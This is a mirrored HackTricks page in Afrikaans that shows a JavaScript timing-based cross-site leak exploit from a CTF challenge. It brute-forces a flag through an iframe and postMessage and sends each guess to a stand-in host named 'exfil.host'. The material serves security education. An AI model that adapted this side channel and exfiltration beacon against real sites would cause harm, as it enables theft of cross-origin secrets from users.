mirror of
https://github.com/carlospolop/hacktricks
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67 lines
3.6 KiB
Markdown
67 lines
3.6 KiB
Markdown
# Voorbeeld van performance.now
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<details>
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<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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**Voorbeeld geneem vanaf [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
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```javascript
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const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
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async function check(flag) {
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let w = frame.contentWindow;
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w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
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await sleep(1);
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w.postMessage({'op': 'search', 'payload': flag}, '*');
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let t1 = performance.now();
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await sleep(1);
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return (performance.now() - t1) > 200;
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}
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async function main() {
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let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
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window.frame = document.createElement('iframe');
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frame.width = '100%';
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frame.height = '700px';
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frame.src = 'https://challenge.jsapi.tech/';
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document.body.appendChild(frame);
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await sleep(1000);
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let flag = 'nite{';
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while(1) {
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for(let c of alpha) {
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let result = await Promise.race([
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check(flag + c),
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new Promise((res) => setTimeout(() => { res(true); }, 300))
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]);
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console.log(flag + c, result);
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if(result) {
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flag += c;
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break;
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}
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}
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new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
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}
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}
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document.addEventListener('DOMContentLoaded', main);
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```
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<details>
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<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
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* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks-repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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